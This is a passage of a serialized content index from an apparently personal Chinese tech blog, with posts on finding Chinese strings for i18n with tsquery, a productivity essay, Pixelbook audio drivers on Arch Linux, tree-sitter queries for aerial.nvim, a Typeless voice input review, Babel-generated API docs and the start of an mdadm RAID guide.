{color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}",{"id":2739,"title":2740,"titles":2741,"content":2742,"level":52},"\u002Fblog\u002Fquery-chinese-in-code","I18n: 从代码中查询中文",[],"为了实现项目的 i18n，必须将代码中所有展示出来的中文使用 i18n 的相关工具处理。",{"id":2744,"title":2740,"titles":2745,"content":2742,"level":52},"\u002Fblog\u002Fquery-chinese-in-code#i18n-从代码中查询中文",[],{"id":2747,"title":2748,"titles":2749,"content":2750,"level":66},"\u002Fblog\u002Fquery-chinese-in-code#匹配中文","匹配中文",[2740],"使用 正则表达式 可以匹配中文: text.match(\u002F[\\\\u4e00-\\\\u9fa5]\u002Fg); 由于代码中存在大量的中文注释，因此从文本上处理是比较麻烦的。 之前学习 tree-sitter 了解到，可以通过简单的 query 语言得到想要的 AST 节点。于是从网上找到了这个项目： https:\u002F\u002Fgithub.com\u002Fphenomnomnominal\u002Ftsquery 通过里面的 demo 可以方便的调试 query. 可以直接使用 StringLiteral, JsxText 来获取所有的中文：包括变量定义，property 定义等等，还包括 jsx 中的中文） 只要找到了所有的中文，那么就可以进行替换工作。 下面是示例代码： import { ast, query } from \"@phenomnomnominal\u002Ftsquery\";\nimport * as path from \"path\";\nimport * as fs from \"fs\";\n\nconst root = path.join(__dirname, \"..\u002F..\u002F\");\n\u002F\u002F get all files in the project recursively\n\nfunction getAllFiles(dirPath: string, arrayOfFiles: string[] = []): string[] {\n  const files = fs.readdirSync(dirPath);\n\n  files.forEach((file) => {\n    const filePath = path.join(dirPath, file);\n    if (fs.statSync(filePath).isDirectory()) {\n      arrayOfFiles = getAllFiles(filePath, arrayOfFiles);\n    } else {\n      arrayOfFiles.push(filePath);\n    }\n  });\n\n  return arrayOfFiles;\n}\n\nconst allFiles = getAllFiles(root)\n  .filter((file) => file.endsWith(\".ts\") || file.endsWith(\".tsx\"))\n  .filter((file) => !file.includes(\"node_modules\"))\n  .filter((file) => !file.includes(\"jieba\"));\n\nasync function processFiles(allFiles: string[]) {\n  try {\n    \u002F\u002F 并行读取所有文件内容\n    const fileContents = await Promise.all(\n      allFiles.map((file) => fs.readFileSync(file, \"utf-8\"))\n    );\n\n    \u002F\u002F 处理每个文件的内容\n    fileContents.forEach((content, index) => {\n      const astTree = ast(content);\n      const res = query(astTree, \"JsxText,StringLiteral\");\n      for (const node of res) {\n        const text = node.getText().trim();\n        if (text.length > 0 && text.match(\u002F[\\u4e00-\\u9fa5]\u002Fg)) {\n          console.log(allFiles[index], text);\n        }\n      }\n    });\n  } catch (error) {\n    console.error(\"Error processing files:\", error);\n  }\n}\n\nprocessFiles(allFiles); html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .sTfLU, html code.shiki .sTfLU{--shiki-default:#EA76CB;--shiki-dark:#F5BDE6;--shiki-light:#EA76CB}html pre.shiki code .sPKdQ, html code.shiki .sPKdQ{--shiki-default:#DF8E1D;--shiki-dark:#EED49F;--shiki-light:#DF8E1D}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html pre.shiki code .s9rGU, html code.shiki .s9rGU{--shiki-default:#DC8A78;--shiki-dark:#F4DBD6;--shiki-light:#DC8A78}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .s3ZcT, html code.shiki .s3ZcT{--shiki-default:#D20F39;--shiki-dark:#ED8796;--shiki-light:#D20F39}html pre.shiki code .sysvw, html code.shiki .sysvw{--shiki-default:#FE640B;--shiki-dark:#F5A97F;--shiki-light:#FE640B}html pre.shiki code .sV9BF, html code.shiki .sV9BF{--shiki-default:#7C7F93;--shiki-default-font-style:italic;--shiki-dark:#939AB7;--shiki-dark-font-style:italic;--shiki-light:#7C7F93;--shiki-light-font-style:italic}html pre.shiki code .sXaTj, html code.shiki .sXaTj{--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#EE99A0;--shiki-dark-font-style:italic;--shiki-light:#E64553;--shiki-light-font-style:italic}html pre.shiki code .s0Fzw, html code.shiki .s0Fzw{--shiki-default:#DF8E1D;--shiki-default-font-style:italic;--shiki-dark:#EED49F;--shiki-dark-font-style:italic;--shiki-light:#DF8E1D;--shiki-light-font-style:italic}",{"id":2752,"title":2753,"titles":2754,"content":44,"level":52},"\u002Fblog\u002Frethinking-productivity-in-ai-age","AI 时代对“生产力”的重新思考",[],{"id":2756,"title":2753,"titles":2757,"content":2758,"level":52},"\u002Fblog\u002Frethinking-productivity-in-ai-age#ai-时代对生产力的重新思考",[],"這是我的「BlogBlog 同樂會 - 2026 年 4 月」的投稿文章。本月主題是「生產力」，由 Wen 主持。如果你有自己的部落格，歡迎一起來參加！",{"id":2760,"title":2761,"titles":2762,"content":2763,"level":66},"\u002Fblog\u002Frethinking-productivity-in-ai-age#生产力","生产力",[2753],"生产力这个词其实是马克思历史唯物主义中的一个概念： 生产力是改造和影响自然并使之适应社会需要的客观物质力量。 不过笔者这篇文章讨论的，以及现在大多数情况下讨论的“生产力”，并不是那么高大上的哲学概念，而是某种“方法论”。 或许是提高工作效率的 GTD 流程，或许是让自己的生活更有条理的技巧，或许是“早请示晚汇报”。 我的总结是：这种方法论的目的是要让人能产出更多的价值，而且是要看价值的总量而非单纯的“效率”。",{"id":2765,"title":2766,"titles":2767,"content":2768,"level":66},"\u002Fblog\u002Frethinking-productivity-in-ai-age#效率的平衡张雪峰猝死事件引发的思考","效率的平衡：张雪峰猝死事件引发的思考",[2753],"张雪峰的猝死对我的触动很大，感觉好像近年来心血管疾病导致猝死的情况变多了（只是感觉），需要引起注意，重视健康。 需要思考的是，一味追求“效率”，甚至以健康（包括生理和心理）为代价，是不可取的，因为：工作总量 = 效率 \\times 工作时间。 对于“效率”要有一个更加宏观的理解：健康因素也应考虑在内，最终追求的是一种平衡的状态。 从另一个角度看，或许不应该用某种量化指标去要求生活。人不是简单的工业机器，人有思想、有灵魂，人活着不只是为了工作、劳动，还要体验生命中的各种美好。",{"id":2770,"title":2771,"titles":2772,"content":2773,"level":66},"\u002Fblog\u002Frethinking-productivity-in-ai-age#冷静看待-ai","冷静看待 AI",[2753],"最近看到有人把“养龙虾”比作赛博“气功热”，我觉得这种比喻非常恰当。我这里并不对“气功”本身做什么批判，而是批判这种全民性质的狂热：某种“不应该也不可能被全民理解”的事物，被当作全民都应参与的潮流。这是不符合自然规律的。对于一个新的产品，一定是很小的一部分人先用起来，再逐渐推广开，而且从“小部分人”到“大部分人”之间有一个巨大的“鸿沟”，《跨越鸿沟》一书就是在探讨这个问题。 一定要“冷静”。市场要冷静，小心 90 年代末的互联网泡沫重演；消费者也要冷静，小心又遇到割韭菜的产品；开发者也要冷静，AI 不是万能的，一定要拥抱 AI，但是一定不能放弃思考和技术审美的能力。 “技术审美”是我最近比较爱讲的一个词。有句话说“代码是写给人看的”，我深感认同。之前有些人认为代码能跑就行，只端到端看结果；现在有 AI 了，更是只需要看最后结果，根本不考虑代码写出来是什么样子。 这种逻辑本质上没什么问题：屏蔽中间过程，只思考输入和输出。但是代码的可维护性本身也应该是一种“结果”，也应该被考虑在“输出端”中。",{"id":2775,"title":2776,"titles":2777,"content":2778,"level":66},"\u002Fblog\u002Frethinking-productivity-in-ai-age#生活的架构","生活的“架构”",[2753],"最近在研究软件架构方面的知识，只觉打开了新世界的大门。之前写代码没有一个成体系的思考范式和原则，这方面我抽空再写一篇文章，讨论技术上的问题。 研究架构给我的另一个启发是，如果把软件架构这种技术上的东西推而广之，对构建一个更高质量的生活也有指导意义。有一个合理的、适合自己的“生活架构”很重要。 这种“架构”不是某种极端的 routine——像高中时期的生活一样，定时定点做指定的事情，那样是把自己关到监狱里面去。它只需要有一个大体的方向和计划，并且有一些基础的“原则”。 软件架构有一个重要的原则叫“关注点分离”（Separation of concerns，SoC），对于生活也是一样的，可以拆分为 N 个“模块”。",{"id":2780,"title":2781,"titles":2782,"content":2783,"level":66},"\u002Fblog\u002Frethinking-productivity-in-ai-age#降噪","降噪",[2753],"“关注点分离”的一个出发点就是“降噪”。分辨哪些事情是“噪音”，屏蔽它们，抓住最重要的核心。 诸葛亮说自己看书是“观其大略”。世界上有那么多书，逐字逐句地看，哪里看得完？信息时代，我们每天接收到的信息有那么多，只能抓住其中的重点，忽略没用的东西。\nOpenclaw 的一个很重要的设计就是它的 memory 系统。其实人的大脑也是有“上下文”的，事情也是会记不住的，所以人也需要构建自己的记忆系统。最重要、最核心的东西固化到大脑里，次之的固化到笔记系统里，不重要的，忘记就好了。",{"id":2785,"title":2786,"titles":2787,"content":2788,"level":52},"\u002Fblog\u002Fsetup-audio-driver-on-pixelbook","setup-audio-driver-on-pixelbook",[],"I bought a Pixelbook Go (2019) recently from xianyu and installed a Archlinux on it. Everything was ok but 2 only problems. There is no audio driver support and camera driver.",{"id":2790,"title":2786,"titles":2791,"content":2792,"level":52},"\u002Fblog\u002Fsetup-audio-driver-on-pixelbook#setup-audio-driver-on-pixelbook",[],"I bought a Pixelbook Go (2019) recently from xianyu and installed a Archlinux on it. Everything was ok but 2 only problems. There is no audio driver support and camera driver. I thought there is no way to sovle them, but I found a very easy way to install the audio driver, which is this repo. https:\u002F\u002Fgithub.com\u002FWeirdTreeThing\u002Fchromebook-linux-audio It is very simple to setup the audio driver: Clone the repoexecute the python scriptreboot your device",{"id":2794,"title":2795,"titles":2796,"content":44,"level":52},"\u002Fblog\u002Ftree-sitter-query","使用 Tree-sitter Query 为 aerial.nvim 添加自定义 symbol",[],{"id":2798,"title":2795,"titles":2799,"content":44,"level":52},"\u002Fblog\u002Ftree-sitter-query#使用-tree-sitter-query-为-aerialnvim-添加自定义-symbol",[],{"id":2801,"title":2802,"titles":2803,"content":2804,"level":66},"\u002Fblog\u002Ftree-sitter-query#aerialnvim","aerial.nvim",[2795],"Neovim 的 aerial.nvim 插件是一个提供 Outline 的插件。\n但是写 React (Typescript) 的时候有一个问题是无法显示像 useRequest 等等 Hook 函数的位置。",{"id":2806,"title":2807,"titles":2808,"content":2809,"level":78},"\u002Fblog\u002Ftree-sitter-query#aerialnvim-的配置","aerial.nvim 的配置",[2795,2802],"默认的 aerial.nvim 配置不显示 Symbol 为 Contant 和 Varible 内容。因此可以在配置文件中\n手动进行如下配置 filter_kind = {\n    \"Class\",\n    \"Constructor\",\n    \"Enum\",\n    \"Function\",\n    \"Interface\",\n    \"Module\",\n    \"Method\",\n    \"Struct\",\n    \"Constant\",\n    \"Variable\",\n},",{"id":2811,"title":2812,"titles":2813,"content":2814,"level":66},"\u002Fblog\u002Ftree-sitter-query#symbol-和-symbol-kind","Symbol 和 Symbol Kind",[2795],"复习一下编译器的工作流程（编译原理）： 首先第一步要进行的是词法分析，也就是将一整个文本拆分成若干个 \"Token\"。语法分析：将 token stream 解析为某个数据结构（例如 AST, Abstarct Syntax Tree）中间代码生成：将上述的某个数据结构生成为中间代码目标代码生成：生成对应平台的，对应架构的代码 对于 Tree-sitter, LSP 等等工具来说，只关心前两个步骤，因为是开发工具，而非编译器。 Tree-sitter 解析出的每个节点，都可以对应到 LSP 中的某个 Symbol. 参考: https:\u002F\u002Fgithub.com\u002Fneovim\u002Fneovim\u002Fblob\u002Fmaster\u002Fruntime\u002Flua\u002Fvim\u002Flsp\u002Fprotocol.lua\n可以发现在 neovim 中提供了如下 26 种不同的 Symbol SymbolKind = {\n    File = 1,\n    Module = 2,\n    Namespace = 3,\n    Package = 4,\n    Class = 5,\n    Method = 6,\n    Property = 7,\n    Field = 8,\n    Constructor = 9,\n    Enum = 10,\n    Interface = 11,\n    Function = 12,\n    Variable = 13,\n    Constant = 14,\n    String = 15,\n    Number = 16,\n    Boolean = 17,\n    Array = 18,\n    Object = 19,\n    Key = 20,\n    Null = 21,\n    EnumMember = 22,\n    Struct = 23,\n    Event = 24,\n    Operator = 25,\n    TypeParameter = 26,\n},",{"id":2816,"title":2817,"titles":2818,"content":2819,"level":66},"\u002Fblog\u002Ftree-sitter-query#tree-sitter-的三个概念","Tree-sitter 的三个概念",[2795],"Tree-sitter 有三个很重要的概念: parser: 自不必说，将源代码 parse 为 ASTquery: 在 AST 中查询检索，使用 scm 进行module: 模块化，可以拓展支持的源代码 本文关心的是 Query，也就是说如何在已经 parse 出来的 AST 中找到自己想要的东西。",{"id":2821,"title":2822,"titles":2823,"content":2824,"level":78},"\u002Fblog\u002Ftree-sitter-query#query","Query",[2795,2817],"使用 scm 进行 Query. 可以在 Tree-sitter 提供的官方 playgound: https:\u002F\u002Ftree-sitter.github.io\u002Ftree-sitter\u002Fplayground\n中进行测试。 例如有如下语句： const { data, refetch, status } = useFetch(() => {}); 如何能得到 useFetch 呢？ 勾选 Query 选项以进行 Query 测试 (lexical_declaration\n    (variable_declarator\n        value: (call_expression\n            function: (identifier) @symbol\n        )\n    )\n) 可以看到成功 query 到了 useFetch （和 @symbol 同色） Query 语法： 括号配对node_type(也就是 lexical_declaration 等) 外面要有括号可以带 field（也就是上面的 value 等) 具体语法可以参考 https:\u002F\u002Ftree-sitter.github.io\u002Ftree-sitter\u002Fusing-parsers#pattern-matching-with-queries 在 Neovim 里面有",{"id":2826,"title":2827,"titles":2828,"content":2829,"level":66},"\u002Fblog\u002Ftree-sitter-query#给-neovim-添加-query","给 neovim 添加 query",[2795],"参考 https:\u002F\u002Fgithub.com\u002Fnvim-treesitter\u002Fnvim-treesitter?tab=readme-ov-file#advanced-setup 在配置文件的根目录的 after\u002Fqueries\u002Ftsx\u002Faerial.scm 中添加 下面是我上面提到的，解析出所有函数调用的一个示例： ;; extends\n(lexical_declaration\n  (\n   variable_declarator\n   value: (\n     call_expression\n     function: (identifier) @name\n     )\n   (#set! \"kind\" \"Constant\")\n  )\n)@symbol 参考 Neovim 官方文档：https:\u002F\u002Fneovim.io\u002Fdoc\u002Fuser\u002Ftreesitter.html#_lua-module:-vim.treesitter.query 和 aerial 的 Github 仓库 README: https:\u002F\u002Fgithub.com\u002Fstevearc\u002Faerial.nvim?tab=readme-ov-file#treesitter-queries 需要提供 @name 和 @symbol 两个 metadata（通过 #set! 语句进行测试） set!                                          treesitter-directive-set!\n        Sets key\u002Fvalue metadata for a specific match or capture. Value is\n        accessible as either metadata[key] (match specific) or\n        metadata[capture_id][key] (capture specific). html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}",{"id":2831,"title":2832,"titles":2833,"content":2834,"level":52},"\u002Fblog\u002Ftypeless-first-experience","Typeless 输入法初体验：AI 赋能下的语音输入新范式",[],"前几周，我在一位同学的推荐下下载了 Typeless 进行体验。经过浅度体验后，本文将简要介绍我使用 Typeless 的一些场景和初次使用感受。",{"id":2836,"title":2832,"titles":2837,"content":2838,"level":52},"\u002Fblog\u002Ftypeless-first-experience#typeless-输入法初体验ai-赋能下的语音输入新范式",[],"前几周，我在一位同学的推荐下下载了 Typeless 进行体验。经过浅度体验后，本文将简要介绍我使用 Typeless 的一些场景和初次使用感受。 我没有使用过其他类似的 AI 赋能语音输入法，但曾使用过 Google Gboard 或微信语音输入等工具。与这些传统语音输入工具相比，Typeless 的独特之处在于它能帮助用户组织语言。 本文是笔者进行口述，然后使用 Typeless 作为输入法进行编写，编写后又通过 Typeless 对文章进行了格式化和条理化的润色。",{"id":2840,"title":2841,"titles":2842,"content":2843,"level":66},"\u002Fblog\u002Ftypeless-first-experience#typeless-如何组织语言","Typeless 如何组织语言？",[2832],"举例来说，Typeless 会提供示例，要求用户列出购物清单。当用户用自然语言表达购物清单时，可能会一边说一边思考。Typeless 的核心功能就是将这些用自然语言描述的内容，转换为一个有序列表。 这种转换极大地提升了语音输入时的效率。它能尽量避免自然语言中的语气词、重复或啰嗦的表达，并以精炼的文字形式展示。在这个基础上，AI 不会过度参与，也不会对要表达的意思进行总结（summary）。",{"id":2845,"title":2846,"titles":2847,"content":2848,"level":66},"\u002Fblog\u002Ftypeless-first-experience#传统输入法与-typeless-的心智负担对比","传统输入法与 Typeless 的心智负担对比",[2832],"在使用 Gboard 或微信语音输入时，我需要预先构思好语句，用相对准确的语言表达，以确保输出文本的流畅性。 然而，在使用 Typeless 时，实际上不需要预先组织语言。尽管我可能因为习惯了传统输入法，潜意识中仍会构思，但 Typeless 确实能减少心智上的负担。用户可以很自然地表达一个事情，无需将后面大段话的意思全部想清楚。在表达过程中，用户可以随意修改之前错误的语句，甚至不修改，系统也会通过 AI 帮助优化这些表达。",{"id":2850,"title":2851,"titles":2852,"content":2853,"level":66},"\u002Fblog\u002Ftypeless-first-experience#typeless-的其他功能","Typeless 的其他功能",[2832],"在 PC 端的 Typeless，除了语音打字，还包含以下两个功能： 翻译功能：移动端同样支持。语音对话：可以便捷地进行语音交互，让 Typeless 搜索网页或处理一些事务。 我个人认为语音对话功能比较鸡肋，实际使用频率可能较低。通过输入法进行信息检索总感觉有些奇怪，用户可能更倾向于依赖更专业的工具。 此外，Typeless 还支持对已输入内容进行修改。用户只需用鼠标划定选择要修改的内容，然后告诉 Typeless 如何修改即可。",{"id":2855,"title":2856,"titles":2857,"content":2858,"level":66},"\u002Fblog\u002Ftypeless-first-experience#定价","定价",[2832],"Typeless 的定价策略是这样的： 订阅费用\n(a) 按年计费：每月 12 美元，一年总计 144 美元。\n(b) 按月计费：每月 30 美元。个人评价\n对于一款语音输入法这类比较垂直的工具来说，这个价格我觉得是偏高的，尤其是从一个中国开发者的角度来看。当然，在某些可以完全替代打字的场景下，它可能会有更广泛的应用空间。免费版限制与计费疑问\n免费版本最主要的限制是每周 8000 个单词。但我目前在官方文档里没看到关于这 8000 个单词的具体计算方式。尤其是中文，到底是按一个字算一个单词，还是按一个词算一个单词，目前还没有明确的描述。 因为我目前使用还不到一周，所以还没突破这个限制。另外，如果你是刚下载并注册的新用户，官方会赠送 30 天的 Pro 版试用期。",{"id":2860,"title":2861,"titles":2862,"content":44,"level":52},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc","使用 Babel 生成自定义的 API 文档",[],{"id":2864,"title":2861,"titles":2865,"content":44,"level":52},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#使用-babel-生成自定义的-api-文档",[],{"id":2867,"title":2868,"titles":2869,"content":2870,"level":66},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#babel","Babel",[2861],"Babel 是一个 JavaScript 的编译器。 那么那位先生要问了，你 JavaScript 是解释型语言，为什么需要编译器呢? 实际上，Babel 的最初的功能是为了实现 ES6 到 ES5 的转换（在旧版本的引擎或浏览器中使用新的特性）。也就是说，\n源代码和编译后的目标代码都是 js, 只不过编译后的代码不一定是具有人类可读性的代码。 在编译的过程中，babel\u002Fparser 会将源代码转换为 AST（抽象语法树），而 babel\u002Fgenerator 则将 AST 转换为目标代码。 我们要做的实际上就是通过 parse 出的 AST，来分析、提取，最后生成我们需要的结构和 API 文档. 如果你观察 babel 的 monorepo 的仓库，你会发现它可与分到三个部分： parser: 实现 JavaScript 到 AST 的转换generator: 实现 AST 到 JavaScript 的转换traverse: 遍历 AST 的工具 使用 AST Explorer\n可以在线解析 JavaScript 代码，并查看 AST 树。",{"id":2872,"title":2873,"titles":2874,"content":2875,"level":78},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#parser","parser",[2861,2868],"参考：https:\u002F\u002Fbabeljs.io\u002Fdocs\u002Fbabel-parser import { parse } from '@babel\u002Fparser';\n\nconst code = `\n  function add(a, b) {\n    return a + b;\n  }\n`;\n\nconst ast = parse(code, {\n    plugins: ['typescript', 'jsx', 'flow'],\n}); 上述的代码解释了 parse 的使用：\n传入一个 string 类型的 js 代码，\nparse 将返回 AST 树",{"id":2877,"title":2878,"titles":2879,"content":2880,"level":190},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#parser-插件","parser 插件",[2861,2868,2873],"可选的 parser 插件有很多，例如: typescript 开启 typescript 插件flow 开启 flow 插件jsx 开启 jsx 插件 也可以使用自己自定义的 parser 插件，参考：\nhttps:\u002F\u002Fwww.babeljs.cn\u002Fdocs\u002Fplugins",{"id":2882,"title":2883,"titles":2884,"content":2885,"level":190},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#ast-树","AST 树",[2861,2868,2873],"通过 parser 解析出的 ast 树为一个Program对象，其\nbody 属性为一个列表，包含了这个文件从上到下的节点。 Program {\n    body: [\n        VariableDeclaration {},\n        FunctionDeclaration {},\n        ...\n    ]\n} 对于一个节点 (Node), 有不同的类型，可以参考\nhttps:\u002F\u002Fbabeljs.io\u002Fdocs\u002Fbabel-types#api 对于遍历 AST 树的需求，可以使用 babel\u002Ftraverse 模块。",{"id":2887,"title":2888,"titles":2889,"content":2890,"level":78},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#traverse","traverse",[2861,2868],"便于遍历 AST traverse(ast, {\n  enter(path) {\n    if (path.isIdentifier({ name: \"n\" })) {\n      path.node.name = \"x\";\n    }\n  },\n});\n\ntraverse(ast, {\n  FunctionDeclaration: function(path) {\n        path.node.id.name = \"x\";\n      },\n}); 使用 enter 来 进入 一个节点，或者直接使用\nnode types 来对某种节点进行操作。",{"id":2892,"title":2893,"titles":2894,"content":2895,"level":190},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#访问者模式","访问者模式",[2861,2868,2888],"访问者模式是一种设计模式。如果有一个复杂的类，就像 AST 树这样的\n复杂的树结构，并且每个节点都有可能完全不同，\n每个节点上可能有\n相同的而不相关的操作。\n可以考虑使用访问者模式。 访问者模式将创建一个独立的新的对象（也就是 visitor 对象），\n将对 AST 树的操作委托到这个对象上。 参考： https:\u002F\u002Frefactoringguru.cn\u002Fdesign-patterns\u002Fvisitor",{"id":2897,"title":2898,"titles":2899,"content":2900,"level":78},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#generator","generator",[2861,2868],"这个比较简单，直接给一个 AST 树结构，\n和相应的 options 即可生成代码。",{"id":2902,"title":2903,"titles":2904,"content":2905,"level":66},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#fastgpt-后端代码结构","FastGPT 后端代码结构",[2861],"对于每个接口，\n其文件路径和 url 是一一对应的，\n在遍历的时候可以顺便获得。 import ...\n\nexport metadata = {\n    name: 'example',\n    description: 'example',\n    author: 'example',\n}\n\nexport type ExampleQuery = {}\nexport type ExampleBody = {}\nexport type ExampleResponse = {}\n\nfunction handler(...) {\n    ...\n}\n\nexport default NextApi(handler) 在 handler 中可能存在鉴权的函数，其参数决定了这个接口的\n鉴权方式。 我们需要做的是: 获取三个类型的具体定义。获取元数据获取鉴权方式生成目标文档",{"id":2907,"title":2908,"titles":2909,"content":2910,"level":78},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#获取类型定义","获取类型定义",[2861,2903],"类型定义的 Node Type 是 TypeAliasDeclaration。\n它有多种类型： TypeLiteral 表示这里定义的是一个对象，通过这个 TypeLiteral 的 members 把 properties 拿出来即可TypeReference 表示引用来一个其他的类型，这个类型可以直接把名字拿出来其他的，例如 String, Number 等",{"id":2912,"title":2913,"titles":2914,"content":2915,"level":78},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#获取元数据","获取元数据",[2861,2903],"元数据的 Node Type 是 VariableDeclaration。",{"id":2917,"title":2918,"titles":2919,"content":2920,"level":66},"\u002Fblog\u002Fuse-babel-generate-customized-apidoc#openapi-规范","OpenAPI 规范",[2861],"参考：https:\u002F\u002Fopenapi.apifox.cn\u002F 可以进行构建 openapi 对象，然后使用工具 redocly 生成 html 这部分代码在: https:\u002F\u002Fgithub.com\u002Flabring\u002FFastGPT\u002Ftree\u002Fmain\u002Fscripts\u002Fopenapi html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}",{"id":2922,"title":2923,"titles":2924,"content":2925,"level":52},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux","在 Linux 上使用 mdadm 创建软 RAID",[],"前段时间升级了一下 NAS 设备，使用一块退役主机的 R5600 作为 CPU，购置了 4x4T 的 HDD 作为数据盘。这么大的硬盘容量，如果只是单纯插在主板上，然后用 \u002Fdev\u002FsdX 去进行管理也太奇怪了。所以准备构建一套 RAID。",{"id":2927,"title":2923,"titles":2928,"content":2929,"level":52},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#在-linux-上使用-mdadm-创建软-raid",[],"前段时间升级了一下 NAS 设备，使用一块退役主机的 R5600 作为 CPU，购置了 4x4T 的 HDD 作为数据盘。这么大的硬盘容量，如果只是单纯插在主板上，然后用 \u002Fdev\u002FsdX 去进行管理也太奇怪了。所以准备构建一套 RAID。 页面终于能用了，太好了，这篇文章早就写好了，终于可以发出来了。",{"id":2931,"title":2932,"titles":2933,"content":2934,"level":66},"\u002Fblog\u002Fuse-mdadm-to-create-soft-raid-on-linux#raid-是什么","RAID 是什么",[2923],"独立硬盘冗余阵列（RAID, Redundant Array of Independent Disks），旧称廉价磁盘冗余阵列（Redundant Array of Inexpensive 